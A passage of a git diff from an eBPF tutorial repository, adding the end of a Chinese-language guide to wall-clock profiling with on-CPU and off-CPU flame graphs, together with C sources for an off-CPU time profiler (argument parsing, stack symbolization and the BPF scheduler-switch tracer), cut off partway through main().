(火焰图) +# - combined_profile_pid__single_thread_analysis.txt (时间分解) +``` + +输出的火焰图将显示 `cpu_work()` 函数消耗 CPU 时间的红色帧,以及 `blocking_work()` 函数在睡眠中花费时间的蓝色帧。相对宽度显示每个消耗的挂钟时间量。 + +对于多线程应用程序,分析器创建一个包含每线程结果的目录: + +```bash +# 分析多线程应用程序 +sudo python3 wallclock_profiler.py -d 30 + +# 输出在 multithread_combined_profile_pid_/ 中 +# - thread__main.svg (主线程火焰图) +# - thread__.svg (工作线程火焰图) +# - *_thread_analysis.txt (所有线程的时间分析) +``` + +分析文件显示时间统计,让你验证 on-CPU 加 off-CPU 时间是否正确累加到挂钟分析持续时间。覆盖百分比有助于识别线程是否大多空闲或是否缺少数据。 + +## 解读结果 + +在浏览器中打开火焰图 SVG 时,每个水平框代表调用栈中的一个函数。宽度显示在那里花费了多少时间。垂直堆叠的框显示调用链,较低的框调用较高的框。红色框表示 on-CPU 时间,蓝色框显示 off-CPU 时间。 + +寻找宽的红色部分以找到 CPU 瓶颈。这些是在紧密循环或昂贵算法中消耗周期的函数。宽的蓝色部分表示阻塞操作。常见模式包括文件 I/O(读/写系统调用)、网络操作(recv/send)和锁竞争(futex 调用)。 + +火焰图是交互式的。单击任何框以放大并查看该子树的详细信息。搜索功能让你突出显示匹配模式的所有帧,这对查找特定函数或库很有用。悬停显示完整的函数名和确切的样本计数或时间值。 + +注意相对比例。90% 蓝色的应用程序是 I/O 绑定的,可能不会从 CPU 优化中受益太多。大部分红色的应用程序是 CPU 绑定的。红色和蓝色均分的应用程序可能受益于重叠计算和 I/O,例如使用异步 I/O 或线程。 + +对于多线程配置文件,比较每个线程的火焰图。理想情况下,如果工作负载平衡,工作线程应该显示相似的模式。如果一个线程大多是红色而其他线程大多是蓝色,你可能有负载不平衡。如果所有线程在 futex 等待中显示大量蓝色时间,具有相似的栈,那就是锁竞争。 + +## 相关工作与延伸阅读 + +挂钟时间分析建立在数十年来区分 CPU 计算与 off-CPU 等待的性能分析研究基础之上。Curtsinger 和 Berger 的 Coz(ASPLOS'15)引入了因果分析(causal profiling),通过实验确定哪些代码区域在优化后能真正减少端到端延迟,从而解决了优化工作应投入何处的根本问题。Zhou 等人的 wPerf(OSDI'18)提出了一个通用的 off-CPU 分析框架,以低开销识别限制吞吐量的关键等待事件(锁、I/O),而 Ahn 等人最近的工作(OSDI'24)通过阻塞采样分析统一了 on-CPU 和 off-CPU 分析,同时捕获运行和阻塞线程状态。我们使用的可视化技术源自 Gregg 的火焰图方法论(CACM'16,USENIX ATC'17),它将调用栈聚合转换为直观的层次图;他的 off-CPU 火焰图专门通过用对比色渲染睡眠栈来突出阻塞模式。时间精度本身也带来挑战,正如 Najafi 等人(HotOS'21)所论述的,现代系统研究越来越依赖精确的挂钟测量,而早期关于时间敏感型 Linux 的工作(Goel 等,OSDI'02)探索了负载下低延迟计时的内核技术。基于 eBPF 的实用分析已在生产环境中得到验证,包括使用 off-CPU "offwaketime" 分析的 Java 性能分析(ICPE'19)以及近期 eBPF 性能教程中概述的综合工作流程(Gregg,SIGCOMM'24)。这些技术和工具共同为理解应用程序如何分配时间以及如何在计算和阻塞两个维度上进行整体优化提供了基础。 + +## 总结 + +使用 eBPF 进行挂钟时间分析通过结合 on-CPU 和 off-CPU 分析,为你提供应用程序性能的完整可见性。On-CPU 分析器采样执行以查找消耗 CPU 周期的热代码路径。Off-CPU 分析器挂钩到调度器以测量阻塞时间并识别 I/O 瓶颈或锁竞争。它们一起统计挂钟时间的每一微秒,显示应用程序实际花费生命的地方。 + +这些工具使用 eBPF 的低开销检测来收集这些数据,对目标应用程序的影响最小。调用栈捕获和聚合在内核中进行,避免昂贵的上下文切换。用户空间程序只需要定期读取累积结果并解析符号,即使在生产环境中使用,开销也可以忽略不计。 + +通过在带有颜色编码的单个火焰图中可视化两种类型的时间,你可以快速识别问题是计算性质还是阻塞性质。这比传统的只显示图景一面的分析方法更有效地指导优化工作。多线程分析支持揭示并行性问题和线程级瓶颈。 + +> 如果你想更深入地了解 eBPF,请访问我们的教程代码仓库 或网站 + +## 参考资料 + +- BCC libbpf-tools offcputime: +- BCC libbpf-tools profile: +- Blazesym 符号解析: +- FlameGraph 可视化: +- Brendan Gregg 的 "Off-CPU Analysis": +- Coz: Finding Code that Counts with Causal Profiling (ASPLOS'15): +- wPerf: Generic Off-CPU Analysis (OSDI'18): +- Identifying On-/Off-CPU Bottlenecks with Blocked Samples (OSDI'24): +- The Flame Graph (CACM'16): +- Systems Research is Running out of Time (HotOS'21): +- Time-Sensitive Linux (OSDI'02): +- Profiling and Tracing Support for Java Applications (ICPE'19): +- eBPF Performance Analysis (SIGCOMM'24): + +> 本文原文链接: diff --git a/src/32-wallclock-profiler/arg_parse.h b/src/32-wallclock-profiler/arg_parse.h new file mode 100644 index 00000000..871a0529 --- /dev/null +++ b/src/32-wallclock-profiler/arg_parse.h @@ -0,0 +1,352 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#ifndef __ARG_PARSE_H +#define __ARG_PARSE_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + +#define OPT_PERF_MAX_STACK_DEPTH 1 /* --perf-max-stack-depth */ +#define OPT_STACK_STORAGE_SIZE 2 /* --stack-storage-size */ +#define OPT_STATE 3 /* --state */ + +typedef enum { + TOOL_OFFCPUTIME, + TOOL_PROFILE +} tool_type_t; + +struct common_env { + pid_t pids[MAX_PID_NR]; + pid_t tids[MAX_TID_NR]; + bool user_threads_only; + bool kernel_threads_only; + bool user_stacks_only; + bool kernel_stacks_only; + int stack_storage_size; + int perf_max_stack_depth; + __u64 min_block_time; + __u64 max_block_time; + long state; + int duration; + bool verbose; + bool folded; + bool delimiter; + bool freq; + int sample_freq; + bool include_idle; + int cpu; + tool_type_t tool_type; +}; + +static struct common_env env = { + .stack_storage_size = 1024, + .perf_max_stack_depth = 127, + .min_block_time = 1, + .max_block_time = -1, + .state = -1, + .duration = 99999999, + .freq = 1, + .sample_freq = 49, + .cpu = -1, +}; + +static const char *get_program_doc(void) +{ + switch (env.tool_type) { + case TOOL_OFFCPUTIME: + return "Summarize off-CPU time by stack trace.\n" + "\n" + "USAGE: offcputime [--help] [-p PID | -u | -k] [-m MIN-BLOCK-TIME] " + "[-M MAX-BLOCK-TIME] [--state] [--perf-max-stack-depth] [--stack-storage-size] " + "[-f] [-d] [duration]\n" + "EXAMPLES:\n" + " offcputime # trace off-CPU stack time until Ctrl-C\n" + " offcputime 5 # trace for 5 seconds only\n" + " offcputime -m 1000 # trace only events that last more than 1000 usec\n" + " offcputime -M 10000 # trace only events that last less than 10000 usec\n" + " offcputime -p 185,175,165 # only trace threads for PID 185,175,165\n" + " offcputime -t 188,120,134 # only trace threads 188,120,134\n" + " offcputime -u # only trace user threads (no kernel)\n" + " offcputime -k # only trace kernel threads (no user)\n" + " offcputime -f # output in folded format for flame graphs\n" + " offcputime -fd # folded format with delimiter between stacks\n"; + case TOOL_PROFILE: + return "Profile CPU usage by sampling stack traces at a timed interval.\n" + "\n" + "USAGE: profile [OPTIONS...] [duration]\n" + "EXAMPLES:\n" + " profile # profile stack traces at 49 Hertz until Ctrl-C\n" + " profile -F 99 # profile stack traces at 99 Hertz\n" + " profile -c 1000000 # profile stack traces every 1 in a million events\n" + " profile 5 # profile at 49 Hertz for 5 seconds only\n" + " profile -f # output in folded format for flame graphs\n" + " profile -p 185 # only profile process with PID 185\n" + " profile -L 185 # only profile thread with TID 185\n" + " profile -U # only show user space stacks (no kernel)\n" + " profile -K # only show kernel space stacks (no user)\n"; + default: + return "Unknown tool\n"; + } +} + +static const struct argp_option common_opts[] = { + { "pid", 'p', "PID", 0, "Trace these PIDs only, comma-separated list", 0 }, + { "tid", 't', "TID", 0, "Trace these TIDs only, comma-separated list", 0 }, + { "tid", 'L', "TID", 0, "profile threads with one or more comma-separated TIDs only", 0 }, + { "user-threads-only", 'u', NULL, 0, + "User threads only (no kernel threads)", 0 }, + { "kernel-threads-only", 'k', NULL, 0, + "Kernel threads only (no user threads)", 0 }, + { "user-stacks-only", 'U', NULL, 0, + "show stacks from user space only (no kernel space stacks)", 0 }, + { "kernel-stacks-only", 'K', NULL, 0, + "show stacks from kernel space only (no user space stacks)", 0 }, + { "perf-max-stack-depth", OPT_PERF_MAX_STACK_DEPTH, + "PERF-MAX-STACK-DEPTH", 0, "the limit for both kernel and user stack traces (default 127)", 0 }, + { "stack-storage-size", OPT_STACK_STORAGE_SIZE, "STACK-STORAGE-SIZE", 0, + "the number of unique stack traces that can be stored and displayed (default 1024)", 0 }, + { "min-block-time", 'm', "MIN-BLOCK-TIME", 0, + "the amount of time in microseconds over which we store traces (default 1)", 0 }, + { "max-block-time", 'M', "MAX-BLOCK-TIME", 0, + "the amount of time in microseconds under which we store traces (default U64_MAX)", 0 }, + { "state", OPT_STATE, "STATE", 0, "filter on this thread state bitmask (eg, 2 == TASK_UNINTERRUPTIBLE) see include/linux/sched.h", 0 }, + { "frequency", 'F', "FREQUENCY", 0, "sample frequency, Hertz", 0 }, + { "delimited", 'd', NULL, 0, "insert delimiter between kernel/user stacks", 0 }, + { "include-idle ", 'I', NULL, 0, "include CPU idle stacks", 0 }, + { "cpu", 'C', "CPU", 0, "cpu number to run profile on", 0 }, + { "folded", 'f', NULL, 0, "output folded format, one line per stack (for flame graphs)", 0 }, + { "verbose", 'v', NULL, 0, "Verbose debug output", 0 }, + { NULL, 'h', NULL, OPTION_HIDDEN, "Show the full help", 0 }, + {}, +}; + +static error_t parse_common_arg(int key, char *arg, struct argp_state *state) +{ + static int pos_args; + int ret; + char *arg_copy; + + switch (key) { + case 'h': + argp_state_help(state, stderr, ARGP_HELP_STD_HELP); + break; + case 'v': + env.verbose = true; + break; + case 'f': + env.folded = true; + break; + case 'd': + env.delimiter = true; + break; + case 'p': + arg_copy = safe_strdup(arg); + ret = split_convert(arg_copy, ",", env.pids, sizeof(env.pids), + sizeof(pid_t), str_to_int); + free(arg_copy); + if (ret) { + if (ret == -ENOBUFS) + fprintf(stderr, "the number of pid is too big, please " + "increase MAX_PID_NR's value and recompile\n"); + else + fprintf(stderr, "invalid PID: %s\n", arg); + + argp_usage(state); + } + break; + case 't': + case 'L': + arg_copy = safe_strdup(arg); + ret = split_convert(arg_copy, ",", env.tids, sizeof(env.tids), + sizeof(pid_t), str_to_int); + free(arg_copy); + if (ret) { + if (ret == -ENOBUFS) + fprintf(stderr, "the number of tid is too big, please " + "increase MAX_TID_NR's value and recompile\n"); + else + fprintf(stderr, "invalid TID: %s\n", arg); + + argp_usage(state); + } + break; + case 'u': + if (env.tool_type == TOOL_OFFCPUTIME) { + env.user_threads_only = true; + } + /* No-op for profile */ + break; + case 'k': + if (env.tool_type == TOOL_OFFCPUTIME) { + env.kernel_threads_only = true; + } + /* No-op for profile */ + break; + case 'U': + if (env.tool_type == TOOL_PROFILE) { + env.user_stacks_only = true; + } + /* No-op for offcputime */ + break; + case 'K': + if (env.tool_type == TOOL_PROFILE) { + env.kernel_stacks_only = true; + } + /* No-op for offcputime */ + break; + case 'F': + if (env.tool_type == TOOL_PROFILE) { + errno = 0; + env.sample_freq = strtol(arg, NULL, 10); + if (errno || env.sample_freq <= 0) { + fprintf(stderr, "invalid FREQUENCY: %s\n", arg); + argp_usage(state); + } + } + /* No-op for offcputime */ + break; + case 'I': + if (env.tool_type == TOOL_PROFILE) { + env.include_idle = true; + } + /* No-op for offcputime */ + break; + case 'C': + if (env.tool_type == TOOL_PROFILE) { + errno = 0; + env.cpu = strtol(arg, NULL, 10); + if (errno) { + fprintf(stderr, "invalid CPU: %s\n", arg); + argp_usage(state); + } + } + /* No-op for offcputime */ + break; + case OPT_PERF_MAX_STACK_DEPTH: + errno = 0; + env.perf_max_stack_depth = strtol(arg, NULL, 10); + if (errno) { + fprintf(stderr, "invalid perf max stack depth: %s\n", arg); + argp_usage(state); + } + break; + case OPT_STACK_STORAGE_SIZE: + errno = 0; + env.stack_storage_size = strtol(arg, NULL, 10); + if (errno) { + fprintf(stderr, "invalid stack storage size: %s\n", arg); + argp_usage(state); + } + break; + case 'm': + if (env.tool_type == TOOL_OFFCPUTIME) { + errno = 0; + env.min_block_time = strtoll(arg, NULL, 10); + if (errno) { + fprintf(stderr, "Invalid min block time (in us): %s\n", arg); + argp_usage(state); + } + } + /* No-op for profile */ + break; + case 'M': + if (env.tool_type == TOOL_OFFCPUTIME) { + errno = 0; + env.max_block_time = strtoll(arg, NULL, 10); + if (errno) { + fprintf(stderr, "Invalid max block time (in us): %s\n", arg); + argp_usage(state); + } + } + /* No-op for profile */ + break; + case OPT_STATE: + if (env.tool_type == TOOL_OFFCPUTIME) { + errno = 0; + env.state = strtol(arg, NULL, 10); + if (errno || env.state < 0 || env.state > 2) { + fprintf(stderr, "Invalid task state: %s\n", arg); + argp_usage(state); + } + } + /* No-op for profile */ + break; + case ARGP_KEY_ARG: + if (pos_args++) { + fprintf(stderr, + "Unrecognized positional argument: %s\n", arg); + argp_usage(state); + } + errno = 0; + if (env.tool_type == TOOL_PROFILE) { + env.duration = strtol(arg, NULL, 10); + if (errno || env.duration <= 0) { + fprintf(stderr, "Invalid duration (in s): %s\n", arg); + argp_usage(state); + } + } else { + env.duration = strtol(arg, NULL, 10); + if (errno || env.duration <= 0) { + fprintf(stderr, "Invalid duration (in s): %s\n", arg); + argp_usage(state); + } + } + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} + +static void init_common_env(tool_type_t tool) +{ + env.tool_type = tool; + + /* Set tool-specific defaults */ + if (tool == TOOL_PROFILE) { + env.duration = INT_MAX; + } +} + +static int parse_common_args(int argc, char **argv, tool_type_t tool) +{ + init_common_env(tool); + + const struct argp argp = { + .options = common_opts, + .parser = parse_common_arg, + .doc = get_program_doc(), + }; + + return argp_parse(&argp, argc, argv, 0, NULL, NULL); +} + +static int validate_common_args(void) +{ + if (env.tool_type == TOOL_OFFCPUTIME) { + if (env.user_threads_only && env.kernel_threads_only) { + fprintf(stderr, "user_threads_only and kernel_threads_only cannot be used together.\n"); + return 1; + } + if (env.min_block_time >= env.max_block_time) { + fprintf(stderr, "min_block_time should be smaller than max_block_time\n"); + return 1; + } + } else if (env.tool_type == TOOL_PROFILE) { + if (env.user_stacks_only && env.kernel_stacks_only) { + fprintf(stderr, "user_stacks_only and kernel_stacks_only cannot be used together.\n"); + return 1; + } + } + + return 0; +} + +#endif /* __ARG_PARSE_H */ \ No newline at end of file diff --git a/src/32-wallclock-profiler/common.h b/src/32-wallclock-profiler/common.h new file mode 100644 index 00000000..6f0cdf4b --- /dev/null +++ b/src/32-wallclock-profiler/common.h @@ -0,0 +1,226 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#ifndef __COMMON_H +#define __COMMON_H + +#include +#include +#include +#include +#include +#include +#include +#include "blazesym.h" + +/* Types needed for both profile and offcputime */ +#define TASK_COMM_LEN 16 +#define MAX_PID_NR 30 +#define MAX_TID_NR 30 + + +/* Common helper functions for BPF tools */ + +/** + * split_convert - Split a string by a delimiter and convert each token + * @s: String to split + * @delim: Delimiter string + * @elems: Array to store the converted elements + * @elems_size: Size of the elems array in bytes + * @elem_size: Size of each element in bytes + * @convert: Function to convert each token to the desired type + * + * Return: 0 on success, negative error code on failure + */ +static inline int split_convert(char *s, const char* delim, void *elems, size_t elems_size, + size_t elem_size, int (*convert)(const char *, void *)) +{ + char *token; + int ret; + char *pos = (char *)elems; + + if (!s || !delim || !elems) + return -1; + + token = strtok(s, delim); + while (token) { + if (pos + elem_size > (char*)elems + elems_size) + return -ENOBUFS; + + ret = convert(token, pos); + if (ret) + return ret; + + pos += elem_size; + token = strtok(NULL, delim); + } + + return 0; +} + +/** + * str_to_int - Convert a string to an integer + * @src: Source string + * @dest: Pointer to store the converted integer + * + * Return: 0 on success, negative error code on failure + */ +static inline int str_to_int(const char *src, void *dest) +{ + *(int*)dest = strtol(src, NULL, 10); + return 0; +} + +/** + * show_stack_trace - Display a stack trace with symbol resolution + * @symbolizer: Blazesym symbolizer instance + * @stack: Array of stack addresses + * @stack_sz: Size of the stack array + * @pid: Process ID (0 for kernel) + */ +static void show_stack_trace(blaze_symbolizer *symbolizer, __u64 *stack, int stack_sz, pid_t pid) +{ + const struct blaze_syms *syms; + int i; + + // Choose symbolization source based on pid + if (pid) { + const struct blaze_symbolize_src_process src = { + .type_size = sizeof(src), + .pid = pid, + }; + syms = blaze_symbolize_process_abs_addrs(symbolizer, &src, (const uint64_t *)stack, stack_sz); + } else { + const struct blaze_symbolize_src_kernel src = { + .type_size = sizeof(src), + .kallsyms = NULL, + .vmlinux = NULL, + .debug_syms = false, + .reserved = {0}, + }; + syms = blaze_symbolize_kernel_abs_addrs(symbolizer, &src, (const uint64_t *)stack, stack_sz); + } + + if (!syms) { + fprintf(stderr, "Failed to symbolize stack trace\n"); + return; + } + + for (i = 0; i < stack_sz; i++) { + if (!stack[i]) + continue; + + if (i >= syms->cnt) { + printf(" [unknown]\n"); + continue; + } + + const struct blaze_sym *sym = &syms->syms[i]; + if (sym->name) { + printf(" %s\n", sym->name); + } else { + printf(" [unknown]\n"); + } + } + + blaze_syms_free(syms); +} + +/** + * show_stack_trace_folded - Display a stack trace in folded format for flamegraphs + * @symbolizer: Blazesym symbolizer instance + * @stack: Array of stack addresses + * @stack_sz: Size of the stack array + * @pid: Process ID (0 for kernel) + * @separator: Character to use as separator between frames (typically ';') + * @reverse: Whether to print the stack in reverse order (true for flamegraphs) + */ +static void show_stack_trace_folded(blaze_symbolizer *symbolizer, __u64 *stack, int stack_sz, + pid_t pid, char separator, bool reverse) +{ + const struct blaze_syms *syms; + int i; + bool first = true; + + // Choose symbolization source based on pid + if (pid) { + const struct blaze_symbolize_src_process src = { + .type_size = sizeof(src), + .pid = pid, + }; + syms = blaze_symbolize_process_abs_addrs(symbolizer, &src, (const uint64_t *)stack, stack_sz); + } else { + const struct blaze_symbolize_src_kernel src = { + .type_size = sizeof(src), + .kallsyms = NULL, + .vmlinux = NULL, + .debug_syms = false, + .reserved = {0}, + }; + syms = blaze_symbolize_kernel_abs_addrs(symbolizer, &src, (const uint64_t *)stack, stack_sz); + } + + if (!syms) { + fprintf(stderr, "Failed to symbolize stack trace\n"); + return; + } + + /* For flamegraphs, we need to print the stack in reverse order */ + if (reverse) { + for (i = stack_sz - 1; i >= 0; i--) { + if (!stack[i]) + continue; + + if (i >= syms->cnt || !syms->syms[i].name) { + if (!first) { + printf("%c", separator); + } + printf("[unknown]"); + first = false; + continue; + } + + const struct blaze_sym *sym = &syms->syms[i]; + if (!first) { + printf("%c", separator); + } + printf("%s", sym->name); + first = false; + } + } else { + /* Print stack in normal order */ + for (i = 0; i < stack_sz; i++) { + if (!stack[i]) + continue; + + if (i >= syms->cnt || !syms->syms[i].name) { + if (!first) { + printf("%c", separator); + } + printf("[unknown]"); + first = false; + continue; + } + + const struct blaze_sym *sym = &syms->syms[i]; + if (!first) { + printf("%c", separator); + } + printf("%s", sym->name); + first = false; + } + } + + blaze_syms_free(syms); +} + +/* Safe string duplication */ +static inline char *safe_strdup(const char *s) +{ + char *ret = strdup(s); + if (!ret) { + fprintf(stderr, "failed to allocate memory\n"); + exit(1); + } + return ret; +} + +#endif /* __COMMON_H */ \ No newline at end of file diff --git a/src/32-wallclock-profiler/offcputime.bpf.c b/src/32-wallclock-profiler/offcputime.bpf.c new file mode 100644 index 00000000..8ab67e56 --- /dev/null +++ b/src/32-wallclock-profiler/offcputime.bpf.c @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: GPL-2.0 +// Copyright (c) 2021 Wenbo Zhang +#include +#include +#include +#include +#include "offcputime.h" + +#define PF_KTHREAD 0x00200000 /* I am a kernel thread */ +#define MAX_ENTRIES 10240 + +const volatile bool kernel_threads_only = false; +const volatile bool user_threads_only = false; +const volatile __u64 max_block_ns = -1; +const volatile __u64 min_block_ns = 0; +const volatile bool filter_by_tgid = false; +const volatile bool filter_by_pid = false; +const volatile long state = -1; + +struct internal_key { + u64 start_ts; + struct key_t key; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, struct internal_key); + __uint(max_entries, MAX_ENTRIES); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __uint(key_size, sizeof(u32)); +} stackmap SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, struct key_t); + __type(value, struct val_t); + __uint(max_entries, MAX_ENTRIES); +} info SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_PID_NR); +} tgids SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_TID_NR); +} pids SEC(".maps"); + + +/** + * commit 2f064a59a1 ("sched: Change task_struct::state") changes + * the name of task_struct::state to task_struct::__state + * see: + * https://github.com/torvalds/linux/commit/2f064a59a1 + */ +struct task_struct___o { + volatile long int state; +} __attribute__((preserve_access_index)); + +struct task_struct___x { + unsigned int __state; +} __attribute__((preserve_access_index)); + +static __always_inline __s64 get_task_state(void *task) +{ + struct task_struct___x *t = task; + + if (bpf_core_field_exists(t->__state)) + return BPF_CORE_READ(t, __state); + return BPF_CORE_READ((struct task_struct___o *)task, state); +} + +static bool allow_record(struct task_struct *t) +{ + u32 tgid = BPF_CORE_READ(t, tgid); + u32 pid = BPF_CORE_READ(t, pid); + + if (filter_by_tgid && !bpf_map_lookup_elem(&tgids, &tgid)) + return false; + if (filter_by_pid && !bpf_map_lookup_elem(&pids, &pid)) + return false; + if (user_threads_only && (BPF_CORE_READ(t, flags) & PF_KTHREAD)) + return false; + else if (kernel_threads_only && !(BPF_CORE_READ(t, flags) & PF_KTHREAD)) + return false; + if (state != -1 && get_task_state(t) != state) + return false; + return true; +} + +static int handle_sched_switch(void *ctx, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + struct internal_key *i_keyp, i_key; + struct val_t *valp, val; + s64 delta; + u32 pid; + + if (allow_record(prev)) { + pid = BPF_CORE_READ(prev, pid); + /* To distinguish idle threads of different cores */ + if (!pid) + pid = bpf_get_smp_processor_id(); + i_key.key.pid = pid; + i_key.key.tgid = BPF_CORE_READ(prev, tgid); + i_key.start_ts = bpf_ktime_get_ns(); + + if (BPF_CORE_READ(prev, flags) & PF_KTHREAD) + i_key.key.user_stack_id = -1; + else + i_key.key.user_stack_id = bpf_get_stackid(ctx, &stackmap, BPF_F_USER_STACK); + i_key.key.kern_stack_id = bpf_get_stackid(ctx, &stackmap, 0); + bpf_map_update_elem(&start, &pid, &i_key, 0); + bpf_probe_read_kernel_str(&val.comm, sizeof(prev->comm), BPF_CORE_READ(prev, comm)); + val.delta = 0; + bpf_map_update_elem(&info, &i_key.key, &val, BPF_NOEXIST); + } + + pid = BPF_CORE_READ(next, pid); + i_keyp = bpf_map_lookup_elem(&start, &pid); + if (!i_keyp) + return 0; + delta = (s64)(bpf_ktime_get_ns() - i_keyp->start_ts); + if (delta < 0) + goto cleanup; + if (delta < min_block_ns || delta > max_block_ns) + goto cleanup; + delta /= 1000U; + valp = bpf_map_lookup_elem(&info, &i_keyp->key); + if (!valp) + goto cleanup; + __sync_fetch_and_add(&valp->delta, delta); + +cleanup: + bpf_map_delete_elem(&start, &pid); + return 0; +} + +SEC("tp_btf/sched_switch") +int BPF_PROG(sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + return handle_sched_switch(ctx, preempt, prev, next); +} + +SEC("raw_tp/sched_switch") +int BPF_PROG(sched_switch_raw, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + return handle_sched_switch(ctx, preempt, prev, next); +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/src/32-wallclock-profiler/offcputime.c b/src/32-wallclock-profiler/offcputime.c new file mode 100644 index 00000000..f77b2d44 --- /dev/null +++ b/src/32-wallclock-profiler/offcputime.c @@ -0,0 +1,280 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +// Copyright (c) 2021 Wenbo Zhang +// +// Based on offcputime(8) from BCC by Brendan Gregg. +// 19-Mar-2021 Wenbo Zhang Created this. +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "offcputime.h" +#include "offcputime.skel.h" +#include "blazesym.h" +#include "arg_parse.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !env.verbose) + return 0; + return vfprintf(stderr, format, args); +} + +static void sig_handler(int sig) +{ +} + +static blaze_symbolizer *symbolizer; + +static void print_map(struct offcputime_bpf *obj) +{ + struct key_t lookup_key = {}, next_key; + int err, fd_stackid, fd_info; + unsigned long *ip; + struct val_t val; + int idx; + bool has_kernel_stack, has_user_stack; + + ip = calloc(env.perf_max_stack_depth, sizeof(*ip)); + if (!ip) { + fprintf(stderr, "failed to alloc ip\n"); + return; + } + + fd_info = bpf_map__fd(obj->maps.info); + fd_stackid = bpf_map__fd(obj->maps.stackmap); + while (!bpf_map_get_next_key(fd_info, &lookup_key, &next_key)) { + idx = 0; + + err = bpf_map_lookup_elem(fd_info, &next_key, &val); + if (err < 0) { + fprintf(stderr, "failed to lookup info: %d\n", err); + goto cleanup; + } + lookup_key = next_key; + if (val.delta == 0) + continue; + + has_kernel_stack = next_key.kern_stack_id != -1; + has_user_stack = next_key.user_stack_id != -1; + + if (env.folded) { + /* folded stack output format */ + printf("%s", val.comm); + + /* Print user stack first for folded format */ + if (has_user_stack && !env.kernel_threads_only) { + if (bpf_map_lookup_elem(fd_stackid, &next_key.user_stack_id, ip) != 0) { + printf(";[Missed User Stack]"); + } else { + printf(";"); + show_stack_trace_folded(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, next_key.tgid, ';', true); + } + } + + /* Then print kernel stack if it exists */ + if (has_kernel_stack && !env.user_threads_only) { + /* Add delimiter between user and kernel stacks if needed */ + if (has_user_stack && env.delimiter && !env.kernel_threads_only) + printf("-"); + + if (bpf_map_lookup_elem(fd_stackid, &next_key.kern_stack_id, ip) != 0) { + printf(";[Missed Kernel Stack]"); + } else { + printf(";"); + show_stack_trace_folded(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, 0, ';', true); + } + } + + printf(" %lld\n", val.delta); + } else { + /* standard multi-line output format */ + if (has_kernel_stack && !env.user_threads_only) { + if (bpf_map_lookup_elem(fd_stackid, &next_key.kern_stack_id, ip) != 0) { + fprintf(stderr, " [Missed Kernel Stack]\n"); + } else { + show_stack_trace(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, 0); + } + } + + /* Add delimiter between kernel and user stacks if both exist and delimiter is requested */ + if (env.delimiter && has_kernel_stack && has_user_stack && + !env.user_threads_only && !env.kernel_threads_only) { + printf(" --\n"); + } + + if (has_user_stack && !env.kernel_threads_only) { + if (bpf_map_lookup_elem(fd_stackid, &next_key.user_stack_id, ip) != 0) { + fprintf(stderr, " [Missed User Stack]\n"); + } else { + show_stack_trace(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, next_key.tgid); + } + } + + printf(" %-16s %s (%d)\n", "-", val.comm, next_key.pid); + printf(" %lld\n\n", val.delta); + } + } + +cleanup: + free(ip); +} + +static bool probe_tp_btf(const char *name) +{ + LIBBPF_OPTS(bpf_prog_load_opts, opts, .expected_attach_type = BPF_TRACE_RAW_TP); + struct bpf_insn insns[] = { + { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 }, + { .code = BPF_JMP | BPF_EXIT }, + }; + int fd, insn_cnt = sizeof(insns) / sizeof(struct bpf_insn); + + opts.attach_btf_id = libbpf_find_vmlinux_btf_id(name, BPF_TRACE_RAW_TP); + fd = bpf_prog_load(BPF_PROG_TYPE_TRACING, NULL, "GPL", insns, insn_cnt, &opts); + if (fd >= 0) + close(fd); + return fd >= 0; +} + +static bool print_header_threads() +{ + int i; + bool printed = false; + + if (env.pids[0]) { + printf(" PID ["); + for (i = 0; i < MAX_PID_NR && env.pids[i]; i++) + printf("%d%s", env.pids[i], (i < MAX_PID_NR - 1 && env.pids[i + 1]) ? ", " : "]"); + printed = true; + } + + if (env.tids[0]) { + printf(" TID ["); + for (i = 0; i < MAX_TID_NR && env.tids[i]; i++) + printf("%d%s", env.tids[i], (i < MAX_TID_NR - 1 && env.tids[i + 1]) ? ", " : "]"); + printed = true; + } + + return printed; +} + +static void print_headers() +{ + if (env.folded) + return; // Don't print headers in folded format + + printf("Tracing off-CPU time (us) of"); + + if (!print_header_threads()) + printf(" all threads"); + + if (env.duration < 99999999) + printf(" for %d secs.\n", env.duration); + else + printf("... Hit Ctrl-C to end.\n"); +} + +int main(int argc, char **argv) +{ + struct offcputime_bpf *obj; + int pids_fd, tids_fd; + int err, i; + __u8 val = 0; + + err = parse_common_args(argc, argv, TOOL_OFFCPUTIME); + if (err) + return err; + + err = validate_common_args(); + if (err) + return err; + + libbpf_set_print(libbpf_print_fn); + + obj = offcputime_bpf__open(); + if (!obj) { + fprintf(stderr, "failed to open BPF object\n"); + return 1; + } + + /* initialize global data (filtering options) */ + obj->rodata->user_threads_only = env.user_threads_only; + obj->rodata->kernel_threads_only = env.kernel_threads_only; + obj->rodata->state = env.state; + obj->rodata->min_block_ns = env.min_block_time; + obj->rodata->max_block_ns = env.max_block_time; + + /* User space PID and TID correspond to TGID and PID in the kernel, respectively */ + if (env.pids[0]) + obj->rodata->filter_by_tgid = true; + if (env.tids[0]) + obj->rodata->filter_by_pid = true; + + bpf_map__set_value_size(obj->maps.stackmap, + env.perf_max_stack_depth * sizeof(unsigned long)); + 